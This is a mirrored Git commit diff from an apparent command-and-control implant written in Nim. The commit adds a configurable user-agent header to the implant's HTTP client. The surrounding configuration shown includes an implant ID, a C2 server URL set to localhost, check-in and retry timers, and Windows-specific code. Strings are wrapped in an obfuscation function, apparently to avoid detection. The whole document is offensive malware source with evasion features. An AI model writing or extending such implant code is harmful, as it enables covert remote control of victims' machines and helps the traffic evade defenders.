mirror of
https://github.com/ConnorGadbois/altin.git
synced 2026-10-21 20:46:17 -05:00
Added user agent to configuration
This commit is contained in:
parent
dcd4663cae
commit
9a237762d9
@ -18,6 +18,8 @@ const
|
||||
STATUS_INVALID*: int = 4
|
||||
|
||||
let client: HttpClient = newHttpClient()
|
||||
client.headers = newHttpHeaders({obf("UserAgent"): USER_AGENT, obf("Content-Type"): obf("application/json")})
|
||||
|
||||
let ip: string = $getPrimaryIPAddr()
|
||||
|
||||
when defined(windows):
|
||||
|
||||
@ -3,6 +3,7 @@ import utils
|
||||
const
|
||||
IMPLANT_ID*: string = obf("tombili")
|
||||
SERVER_BASE_URL*: string = obf("http://127.0.0.1:3000/")
|
||||
USER_AGENT*: string = obf("")
|
||||
REG_FAIL_LIMIT*: int = 10 # 0 for no limit
|
||||
REG_FAIL_RETRY_SLEEP*: int = 10 # seconds
|
||||
CHECKIN_SLEEP*: int = 10 # seconds
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user